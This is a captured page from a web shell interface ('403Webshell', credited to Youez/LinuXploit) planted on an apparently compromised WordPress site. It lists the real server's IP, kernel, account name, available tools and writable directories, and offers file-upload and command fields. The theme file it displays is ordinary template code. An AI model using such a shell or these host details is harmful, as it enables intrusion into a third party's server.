403Webshell
Server IP : 69.72.244.102  /  Your IP : 216.73.216.164
Web Server : LiteSpeed
System : Linux s3434.fra1.stableserver.net 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64
User : konzalta ( 1271)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/konzalta/public_html/wp-content/themes/modernee/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/konzalta/public_html/wp-content/themes/modernee/front-page.php
<?php
/**
 * The Front Page template file.
 *
 * @package MODERNEE
 * @since MODERNEE 1.0.31
 */

get_header();

// If front-page is a static page
if ( get_option( 'show_on_front' ) == 'page' ) {

	// If Front Page Builder is enabled - display sections
	if ( modernee_is_on( modernee_get_theme_option( 'front_page_enabled', false ) ) ) {

		if ( have_posts() ) {
			the_post();
		}

		$modernee_sections = modernee_array_get_keys_by_value( modernee_get_theme_option( 'front_page_sections' ) );
		if ( is_array( $modernee_sections ) ) {
			foreach ( $modernee_sections as $modernee_section ) {
				get_template_part( apply_filters( 'modernee_filter_get_template_part', 'front-page/section', $modernee_section ), $modernee_section );
			}
		}

		// Else if this page is a blog archive
	} elseif ( is_page_template( 'blog.php' ) ) {
		get_template_part( apply_filters( 'modernee_filter_get_template_part', 'blog' ) );

		// Else - display a native page content
	} else {
		get_template_part( apply_filters( 'modernee_filter_get_template_part', 'page' ) );
	}

	// Else get the template 'index.php' to show posts
} else {
	get_template_part( apply_filters( 'modernee_filter_get_template_part', 'index' ) );
}

get_footer();

Youez - 2016 - github.com/yon3zu
LinuXploit